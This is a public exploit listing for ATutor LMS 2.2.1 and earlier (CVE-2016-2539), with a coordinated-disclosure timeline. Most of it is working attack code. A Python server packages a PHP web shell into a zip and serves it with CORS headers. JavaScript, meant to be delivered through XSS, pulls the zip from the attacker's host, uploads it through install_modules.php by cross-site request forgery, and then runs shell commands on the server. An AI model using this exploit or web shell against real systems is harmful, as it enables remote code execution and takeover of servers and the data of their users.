ATutor LMS – ‘/install_modules.php’ Cross-Site Request Forgery / Remote Code Execution

  • 作者: mr_me
    日期: 2016-03-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39524/
  • /* exp.js
    
    ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution
    by mr_me
    
    Notes:
    ``````
    - Discovered for @ipn_mx students advanced php vuln/dev class
    - Tested on the latest FireFox 44.0.2 release build
    - This poc simply uploads a zip file as pwn/si.php with a "<?php system($_GET['cmd']); ?>" in it
    - You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips
    - Use this with your favorite XSS attack
    - Student proof, aka bullet proof
    
    Timeline:
    `````````
    23/02/2016 - notified vendor via info[at]atutor[dot]ca
    24/02/2016 - requested CVE and assigned CVE-2016-2539
    24/02/2016 - vendor replied stating they are investigating the issue
    05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac)
    06/03/2016 - coordinated public release
    
    Example: 
    ````````
    mr_me@jupiter:~$ cat poc.py 
    #!/usr/bin/python
    
    import sys
    import zipfile
    import BaseHTTPServer
    from cStringIO import StringIO
    from SimpleHTTPServer import SimpleHTTPRequestHandler
    
    if len(sys.argv) < 3:
    print "Usage: %s <lport> <target>" % sys.argv[0]
    print "eg: %s 8000 172.16.69.128" % sys.argv[0]
    sys.exit(1)
    
    def _build_zip():
    """
    builds the zip file
    """
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('pwn/si.php', "<?php system($_GET['cmd']); ?>")
    z.close()
    handle = open('pwn.zip','wb')
    handle.write(f.getvalue())
    handle.close
    
    class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
    self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2])
    SimpleHTTPRequestHandler.end_headers(self)
    
    if __name__ == '__main__':
    _build_zip()
    BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)
    
    mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128
    Serving HTTP on 0.0.0.0 port 8000 ...
    172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 -
    172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 -
    
    ~ de Mexico con amor,
    
    */
    
    var get_hostname = function(href) {
    var l = document.createElement("a");
    l.href = href;
    return l.hostname + ":" + l.port;
    };
    
    function trolololol(url, file_data, filename) {
     var file_size = file_data.length,
     boundary = "828116593165207937691721278",
     xhr = new XMLHttpRequest();
    
     // latest ff doesnt have sendAsBinary(), so we redefine it
     if(!xhr.sendAsBinary){
    xhr.sendAsBinary = function(datastr) {
    function byteValue(x) {
    return x.charCodeAt(0) & 0xff;
    }
    var ords = Array.prototype.map.call(datastr, byteValue);
    var ui8a = new Uint8Array(ords);
    this.send(ui8a.buffer);
    }
     }
     
     // the callback after this stage is done...
     xhr.onreadystatechange = function() {
     if (xhr.readyState == XMLHttpRequest.DONE) {
     xhr = new XMLHttpRequest();
     // change this if you change the zip
     xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true);
     xhr.send();
     }
     }
    
     xhr.open("POST", url, true);
     // simulate a file MIME POST request.
     xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
     xhr.setRequestHeader("Content-Length", file_size);
     var body = "--" + boundary + "\r\n";
     body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n';
     body += "Content-Type: archive/zip\r\n\r\n";
     body += file_data + "\r\n";
     body += "--" + boundary + "\r\n";
     body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n';
     body += "junk\r\n";
     body += "--" + boundary;
     xhr.sendAsBinary(body);
     return true;
    }
    
    function pwn(){
    var xhr = new XMLHttpRequest();
    // et phone home
    var home = get_hostname(document.scripts[0].src);
    // get our own zip file
    xhr.open('GET', 'http://' + home + '/pwn.zip', true);
    xhr.responseType = 'blob';
    xhr.onload = function(e) {
    if (this.status == 200) {
    // use the FileReader class to get the raw binary
    var reader = new window.FileReader();
    reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'})); 
    reader.onloadend = function() {
    trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip");
    }
    }
    };
    xhr.send();
    }
    
    pwn();